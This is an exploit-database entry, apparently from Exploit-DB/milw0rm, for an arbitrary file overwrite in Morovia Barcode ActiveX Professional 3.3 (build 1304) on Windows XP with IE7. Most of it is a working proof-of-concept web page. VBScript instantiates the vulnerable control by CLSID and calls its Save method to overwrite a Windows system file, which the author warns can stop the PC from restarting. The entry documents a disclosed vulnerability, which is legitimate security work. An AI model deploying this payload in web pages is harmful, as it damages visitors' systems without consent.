header-logo
Suggest Exploit
vendor:
Barcode ActiveX Professional
by:
shinnai
7.5
CVSS
HIGH
Arbitrary file overwrite
22
CWE
Product Name: Barcode ActiveX Professional
Affected Version From: 3.3 (build 1304)
Affected Version To: 3.3 (build 1304)
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows
2007

Morovia Barcode ActiveX Professional 3.3 (build 1304) Arbitrary file overwrite

The exploit overwrites the system.ini file, potentially causing the PC to not restart. It affects Morovia Barcode ActiveX Professional 3.3 (build 1304) on Windows XP Professional SP2 with Internet Explorer 7.

Mitigation:

Make a copy of the system.ini file before running the exploit.
Source

Exploit-DB raw data:

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/11</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------
 <b>Morovia Barcode ActiveX Professional 3.3 (build 1304) Arbitrary file overwrite</b>
 url: http://www.morovia.com/
 price: $129

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
--------------------------------------------------------------------------------

<object classid='clsid:18B409DA-241A-4BD8-AC69-B5D547D5B141' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.Save "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/11 - Morovia Barcode")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-11]